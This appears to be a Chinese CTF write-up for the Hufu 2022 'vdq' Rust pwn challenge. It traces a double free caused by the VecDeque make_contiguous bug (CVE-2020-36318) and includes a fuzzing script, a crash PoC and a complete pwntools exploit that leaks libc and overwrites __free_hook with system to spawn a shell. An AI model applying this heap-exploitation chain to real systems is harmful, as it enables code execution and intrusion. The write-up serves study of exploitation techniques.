查看原文
其他

虎符网络安全赛道 2022-pwn-vdq-WP解题分析

chuj- 看雪学苑 2022-07-01


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:chuj-


虎符网络安全赛道中出现了一个 rust pwn,到最后只有两解。我在比赛中只解出了此题,其实利用难度并不大,只是漏洞点光靠代码审计难以发现。另外,其实到现在我也没有特别明白漏洞的原理,这里简单分享一下我的解题过程。
 
拿到手,先逆流程,rust 的程序反编译后比较难看,只能硬着头皮逆,不过程序没有去除符号,结构体的定义都在,相对会容易一点。首先可以分析出,在 vdq::get_opr_lst 中读取所有的操作,操作输入后反序列化到这里:
core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29

这样就可以猜出输入的方式了。

也就是输入序列化的字符串,如 ["Add", "Add", "Remove"],然后起一新行以 '$' 结尾。
 
不过要注意的是这里 ida 对字符串的识别有点小问题,要注意 v9 这个变量描述了模式串的长度为 1。

从 ida 的 local types 中我们可以找到所有操作的枚举。
enum vdq::Operation : __int8{ Add = 0x0, Remove = 0x1, Append = 0x2, Archive = 0x3, View = 0x4,};

由此知道有五种操作。然后处理操作是在 vdq::handle_opr_lst 中做的。
 
所有的 Notes 被两个 vector 维护:
 
alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> cache_note_vector; 和
 
alloc::vec::Vec<alloc::boxed::Box<vdq::Note>> archive_note_vector;
 
Add 的 note 存在 cache_note_vector 中,Archive 的 note 存在 archive_note_vector 中。
 
说实话硬逆挺累的,也看不怎么洞,也看不到什么洞,所以就 fuzz 了一下,这里的 fuzz 使用的是我之前在对 byteCTF 2021 final 的 byteview 的 fuzz 思路,是一种无定向的,完全随机的,但是高度结构化的 fuzz 方法,可以参考我的这篇博客(https://cjovi.icu/fuzzing/1589.html)。对于一些 ctf 堆题确实是有奇效。这里提供一下我的脚本:
# fuzz.sh#!/bin/bashwhile ((1))do python ./vdq_input_gen.py > poc cat poc | ./vdq if [ $? -ne 0 ]; then break fidone
# vdq_input_gen.py#!/usr/bin/env python# coding=utf-8import randomimport string operations = "[" def Add(): global operations operations += "\"Add\", " def Remove(): global operations operations += "\"Remove\", " def Append(): global operations operations += "\"Append\", " def View(): global operations operations += "\"View\", " def Archive(): global operations operations += "\"Archive\", " def DoOperations(): print(operations[:-2] + "]") print("$") def DoAdd(message): print(message) def DoAppend(message): print(message) total_ops = random.randint(1, 100)total_adds = 0total_append = 0total_remove = 0total_message = 0for i in range(total_ops): op = random.randint(0, 4) if op == 0: total_message += 1 total_adds += 1 Add() elif op == 1: total_adds -= 1 Remove() elif op == 2: if total_adds > 0: total_append += 1 total_message += 1 Append() Append() elif op == 3: total_adds = 0 total_append = 0 total_remove = 0 Archive() elif op == 4: View()DoOperations()for i in range(total_message): DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))

跑一下,很快(几秒钟)就会出错,我获得的是一个相对短小的 poc,可以造成段错误,随便修改尝试后获得了稳定造成 double free 的 poc。
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Archive"]$ZqlUYDS2I0WOQJvNdTX1onAmfcK6B8VFL5rytPCPgl3h0S4iHUmpK16VfbkLzvEUmWxMl

那么下一步自然是研究 poc,研究的时候尝试删掉各种操作看看会不会有影响,本来以为 View 不会造成什么影响,但是发现去掉之后就不会触发 double free 了。这很奇怪,所以又看了一下 view 部分的实现。
 
感觉只有这里可能会有问题了,查了一下最近 rust 的 cve,找到了这个 CVE(https://www.cvedetails.com/cve/CVE-2020-36318/),看了一下程序的 rust 版本。
 
这个 make_contiguous 的 feature 1.48.0 被引入,1.49.0 修复,那这个大概就是了。
 
trace 了一下发现 double free 是在 handle_opr_lst 退出的时候发生的。
退出时会 drop 掉两个 vector,大体上就是一个 note 同时处于两个 vector 中了,然后就 double free 了。
 
突然想到,这实际上就是说在 Archive 操作的时候,cache_note_vector 中的 notes 并没有被删除,view 一下看看,也就是这个操作。
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View"]$之后的字符串随便输
确实打印出来了乱七八糟的东西,仔细一看好像是堆地址,那就是可以 leak 了。
 
那么首先要搞懂为什么会出现这种情况。
 
双端队列的结构:
struct alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>{ usize tail; usize head; alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf;};

buf 里面存的就是每个元素了,tail 指向尾部元素,head 指向头部元素,但是要注意的是在内存中尾部元素在低地址,所以 tail 实际上小于 head。
 
在这个操作下["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View"] 第一次 view 后,cache_note_vector(也就是这个 vec_deque)中有三个元素,tail = 1,head = 4,buf 里面是这样的:
0x555555a36f30: 0x0000555555a370f0 0x0000555555a36fd00x555555a36f40: 0x0000555555a37050 0x0000555555a370a0
pwndbg> x/20xg 0x7fffffffda600x7fffffffda60: 0x0000000000000000 0x00000000000000040x7fffffffda70: 0x0000555555a36f30 0x0000000000000004

以上面为例,连续指的是 buf 连续,也就是 buf 可以线性遍历(简单的说就是把循环队列转换为线性数组)。这里转换完成后,tail 变成 1,head 变成 4,即可返回一个可用的切片了。这里就是 CVE 的漏洞所在,修复后会返回一个 RingSlices。
// 修复前return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };// 修复后return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 }; fn ring_slices(buf: Self, head: usize, tail: usize) -> (Self, Self) { let contiguous = tail <= head; if contiguous { let (empty, buf) = buf.split_at(0); (buf.slice(tail, head), empty) } else { let (mid, right) = buf.split_at(tail); let (left, _) = mid.split_at(head); (right, left) } }

我也不是很懂 rust,但是修复后大概就是把 buf 中所有的元素组成了一个 ring_slices(反映到内存里面就应该是把转换后的数组前面所有的元素移到后面,这样就不会加飞了)。
 
修复前则是返回一个 plain 的 slice,这样就会加回到头部,造成 double free。我想洞大概就是这个原理。
 
所以为了 UAF,应该先构造出循环队列,也就是 head < tail,并且让 make_contiguous 后内存中仍能剩余可用的指针。参考这段源码:
#[stable(feature = "deque_make_contiguous", since = "1.48.0")]pub fn make_contiguous(&mut self) -> &mut [T] { if self.is_contiguous() { let tail = self.tail; let head = self.head; return unsafe { &mut self.buffer_as_mut_slice()[tail..head] }; } let buf = self.buf.ptr(); let cap = self.cap(); let len = self.len(); let free = self.tail - self.head; let tail_len = cap - self.tail; if free >= tail_len { // there is enough free space to copy the tail in one go, // this means that we first shift the head backwards, and then // copy the tail to the correct position. // // from: DEFGH....ABC // to: ABCDEFGH.... unsafe { ptr::copy(buf, buf.add(tail_len), self.head); // ...DEFGH.ABC ptr::copy_nonoverlapping(buf.add(self.tail), buf, tail_len); // ABCDEFGH.... self.tail = 0; self.head = len; } } else if free >= self.head { // there is enough free space to copy the head in one go, // this means that we first shift the tail forwards, and then // copy the head to the correct position. // // from: FGH....ABCDE // to: ...ABCDEFGH. unsafe { ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len); // FGHABCDE.... ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head); // ...ABCDEFGH. self.tail = self.head; self.head = self.tail + len; } } else { // free is smaller than both head and tail, // this means we have to slowly "swap" the tail and the head. // // from: EFGHI...ABCD or HIJK.ABCDEFG // to: ABCDEFGHI... or ABCDEFGHIJK. let mut left_edge: usize = 0; let mut right_edge: usize = self.tail; unsafe { // The general problem looks like this // GHIJKLM...ABCDEF - before any swaps // ABCDEFM...GHIJKL - after 1 pass of swaps // ABCDEFGHIJM...KL - swap until the left edge reaches the temp store // - then restart the algorithm with a new (smaller) store // Sometimes the temp store is reached when the right edge is at the end // of the buffer - this means we've hit the right order with fewer swaps! // E.g // EF..ABCD // ABCDEF.. - after four only swaps we've finished while left_edge < len && right_edge != cap { let mut right_offset = 0; for i in left_edge..right_edge { right_offset = (i - left_edge) % (cap - right_edge); let src: isize = (right_edge + right_offset) as isize; ptr::swap(buf.add(i), buf.offset(src)); } let n_ops = right_edge - left_edge; left_edge += n_ops; right_edge += right_offset + 1; } self.tail = 0; self.head = len; } } let tail = self.tail; let head = self.head; unsafe { &mut self.buffer_as_mut_slice()[tail..head] }}

经过多次尝试和阅读源码,最后的构造方法为先构造出循环队列,也就是 head < tail,然后由于不太清楚触发绕回的条件,就复刻 fuzz 的 poc 情况,让 make_contiguous 后 head == cap。由此就可以回绕后 remove 来 double free,view 来 leak,append 来 UAF。
 
由于是 libc 2.27-3ubuntu1.5
 
可以看出已经 apply 了 tcache double free 的 patch。但是 2.27 中判断对应的 tcache bin 是否为空是通过 tcache->entries[tc_idx] != NULL 来判断的,所以通过 append 方法来 UAF tcache 底部的 chunk 即可任意地址分配,然后打 __free_hook 即可 getshell。
 
于是就有 exp:
#!/usr/bin/env python# coding=utf-8from pwn import *context.log_level = "debug"context.terminal = ["tmux", "splitw", "-h"] operations = "[" def Add(): global operations operations += "\"Add\", " def Remove(): global operations operations += "\"Remove\", " def Append(): global operations operations += "\"Append\", " def View(): global operations operations += "\"View\", " def Archive(): global operations operations += "\"Archive\", " def DoOperations(): sh.sendlineafter("!", operations[:-2] + "]") sh.sendline("$") def DoAdd(message): sh.sendlineafter("message :", message) def DoAppend(message): sh.sendlineafter("message :", message) sh = process("./vdq")libc = ELF("./libc-2.27.so")sh = remote("120.77.10.180", 34927)#gdb.attach(sh, """#b * 0x555555554000 + 0xDFAF#c#b * 0x555555554000 + 0xDD04#""") Add()Add()Archive()Add()Archive()Add()Add()View()Remove()Remove()Remove()View()for i in range(0, 31): Add()for i in range(0, 20): Archive()for i in range(0, 10 + 1): Add()View()Remove()for i in range(31): Remove()Append()for i in range(9): Add()DoOperations() DoAdd('A' * 0x80)DoAdd('B' * 0x80)DoAdd('C' * 0x420)DoAdd('D' * 0x80)DoAdd('E' * 0x80)sh.recvuntil("Removed note [5]\n")sh.recvuntil("Cached notes:\n")sh.recvuntil("->")sh.recvuntil("-> ")libc_base_list = list(sh.recv(12)[::-1])for i in range(0, 6): tmp = libc_base_list[2 * i + 1] libc_base_list[2 * i + 1] = libc_base_list[2 * i] libc_base_list[2 * i] = tmplibc_base_str = ''.join(libc_base_list)libc_base = int(libc_base_str, 16) - libc.sym["__malloc_hook"] - 0x10 - 0x60log.success("libc_base: " + hex(libc_base))for i in range(0, 31): DoAdd('') for i in range(0, 11): DoAdd('') __free_hook = libc_base + libc.sym["__free_hook"]system = libc_base + libc.sym["system"]DoAdd(p64(__free_hook)) for i in range(0, 7): DoAdd('/bin/sh\x00')DoAdd(p64(system)) sh.interactive()




看雪ID:chuj-

https://bbs.pediy.com/user-home-908408.htm

*本文由看雪论坛 chuj- 原创,转载请注明来自看雪社区



# 往期推荐

1.为IDA架设私人lumen服务器

2.分析一个安卓简单CrackMe

3.NtSockets - 直接与驱动通信实现sockets

4.JLink固件漏洞

5.CVE-2022-0995分析(内核越界 watch_queue_set_filter)

6.ZJCTF2021 Reverse-Triple Language






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存